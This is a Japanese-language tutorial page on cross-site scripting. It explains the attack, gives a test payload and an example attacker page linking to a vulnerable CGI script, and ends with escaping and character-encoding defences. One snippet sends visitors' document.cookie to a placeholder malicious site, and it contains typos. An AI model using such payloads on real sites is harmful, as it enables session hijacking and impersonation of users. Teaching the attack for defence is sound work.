クロスサイトスクリプティング

クロスサイトスクリプティング (Cross Site Scripting: XSS)

クロスサイトスクリプティングとは

クロスサイトスクリプティングとは、動的にWebページを生成するアプリケーションのセキュリティ上の不備を利用して、悪意のあるスクリプトを混入・実行させる攻撃手法です。

攻撃者が対象となるサイトとは異なるサイトからスクリプトを送り込み、訪問者に実行させることから、クロスサイト(サイトを横断した)スクリプティング(スクリプト処理)と呼ばれます。


スクリプトの内容によってはCookieデータの盗聴や改竄などが可能なため、商取引に使ったCookieを横取りして、本人になりすまして物品の購入を行ったり、Cookieを認証やセッション管理に使っているサイトに侵入したり、より広範かつ深刻な損害を与える可能性があります。


XSSの脆弱性を確認する手法

HTMLフォームからの入力をCGIで動的に生成するWebサイトで、入力欄にscriptタグを使用します。

「<script>alert("XSS");</script>」と入力した場合、XSS対策がされていないWebサイトでは、「XSS」と書かれたダイアログボックスが表示されます。

この他にも、任意のスクリプトを実行することもできるといえます。


XSSの実行例

スクリプト処理を強制実行させる方法

攻撃者が、悪意あるWebサイトを用意して、第三者ユーザにアクセスさせることで、ターゲットサーバにスクリプト処理を強制実行します。

  1. ユーザーが攻撃者の用意したページにアクセスする。
  2. リンクを含んだページがブラウザに表示される。
  3. ユーザーがリンクをクリックする。
  4. ユーザーが(無意識のうちに)ターゲットサーバのサイトにスクリプトを含んでアクセスする。
  5. スクリプトを含んだページがブラウザに表示される。
  6. ユーザーのブラウザ上でスクリプトが実行される。

例えば、攻撃者は以下のようなサイトを用意します。


<html>
<body bgcolor="black" link="white">
<a href='https://脆弱サイト/hello.cgi?name=<script>alert("XSS");</script>'>
ここをクリック</a>
</body>
</html>

悪意あるサイトに転送させる方法

また、ユーザにリンクをクリックさせることなく、自動的に別ページへ飛ばせる「location」タグなど利用することもできます。

これを応用することで、クライアントに発行されたクッキーを悪意あるサイトに転送させることも可能です。


<script>
location.replace("http://悪意サイト/cgi-bin/getcookie.cgi?cookire=" + documnt.cookie);
</script>

XSSの対策

HTMLメタキャラクタのエスケープ処理

出力値のエスケープを適切に施します。

  • HTMLの実体参照を用います。「& を &amp;」などを置換します。
  • タグの属性値は必ずダブルクォートで括ります。

特定文字コードの注意

UTF-7では、メタキャラクターを別表記できるため、スクリプトを混入させる可能性があります。

明示的に文字コードを設定する必要があります。


関連ページ